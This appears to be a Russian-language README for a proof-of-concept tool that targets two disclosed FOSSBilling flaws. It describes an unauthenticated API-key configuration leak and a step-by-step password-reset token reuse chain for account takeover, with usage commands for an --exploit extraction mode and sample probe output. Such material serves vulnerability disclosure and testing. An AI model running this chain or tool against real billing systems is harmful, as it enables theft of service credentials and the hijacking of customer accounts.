
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Неаутентифицированное раскрытие ключа API и повторное использование токена сброса пароля
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
создан 7megaumka7
PoC-инструмент для двух принятых уязвимостей GitHub Security Advisory в FOSSBilling ≤ 0.7.2
FOSKiller — это инструмент доказательства концепции, демонстрирующий две уязвимости в FOSSBilling — платформе с открытым исходным кодом для управления биллингом и клиентами. Обе уязвимости были ответственно раскрыты через программу GitHub Security Advisory и полностью исправлены в FOSSBilling 0.7.3+.
Инструмент предназначен для:
| Advisory | CVE | Тип | CVSS | Затронутые версии |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Раскрытие конфигурации API-ключа без аутентификации | 6.9 Moderate | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Повторное использование токена сброса пароля → Угон учётной записи | 7.7 High | >= 0.5.6, <= 0.7.2 |
Гостевой эндпоинт /api/guest/serviceapikey/get_info возвращает полную конфигурацию
сервиса — включая поля custom_*, учётные данные API, имена хостов и пароли —
без какой-либо аутентификации. Злоумышленник, знающий или подбирающий действительный
API-ключ, может получить всю конфигурацию серверного сервиса через общедоступный эндпоинт.
Воздействие: Раскрытие учётных данных сервиса, внутренних имён хостов, секретов API.
Когда клиент инициирует два последовательных сброса пароля для одной и той же учётной записи, приложение выдаёт новый токен, но не делает недействительным предыдущий. Злоумышленник, ранее перехвативший первый токен, может использовать его для установки нового пароля даже после того, как легитимный пользователь завершит свой собственный сброс.
Цепочка атаки:
1. Злоумышленник отправляет POST /api/guest/client/reset_password → перехватывает токен T1
2. Жертва инициирует свой сброс → приложение выдает T2, T1 остаётся действительным
3. Злоумышленник вызывает POST /api/guest/client/update_password?hash=T1 с выбранным паролем
4. Злоумышленник получает постоянный доступ независимо от завершения сброса жертвой
Воздействие: Постоянный угон учётной записи любого клиента, чьё письмо для сброса может быть перехвачено.
Если зависимости отсутствуют, скрипт обнаружит это при запуске и предложит установить их автоматически.
Клонирование и установка зависимостей:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Или запуск без предварительной установки — скрипт предложит установить отсутствующие пакеты при первом запуске.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| Флаг | Обязательный | Описание |
|---|---|---|
--target URL | Да | Базовый URL экземпляра FOSSBilling |
--key KEY | Для CVE-2026-53647 | API-ключ для тестирования |
--email EMAIL | Для CVE-2026-53646 | Email клиента для тестирования |
--check-only | Нет | Режим обнаружения — подтвердить уязвимость без извлечения данных |
--exploit | Нет | Полное извлечение + документирование цепочки атаки |
--force | Нет | Пропустить проверку диапазона версий |
--output FILE | Нет | Сохранить полные результаты в JSON-файл |
--timeout SEC | Нет | Тайм-аут HTTP в секундах (по умолчанию: 10) |
--proxy URL | Нет | HTTP-прокси (например, http://127.0.0.1:8080) |
--check-only и --exploit взаимоисключающие.
| Режим | Флаг | Действие |
|---|---|---|
| Обнаружение | --check-only | Подтверждает наличие уязвимости. Не отображает и не извлекает конфиденциальные значения. |
| По умолчанию | (без флага режима) | Подтверждает статус и отображает базовое доказательство. |
| Эксплуатация | --exploit | Извлекает все утёкшие поля; документирует полную цепочку захвата учётной записи с метаданными времени. |
Только обнаружение — проверка обоих CVE без извлечения данных:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Полное извлечение и документирование цепочки атаки:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Сохранение результатов в JSON и маршрутизация через Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Тестирование неизвестной или уже исправленной версии:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication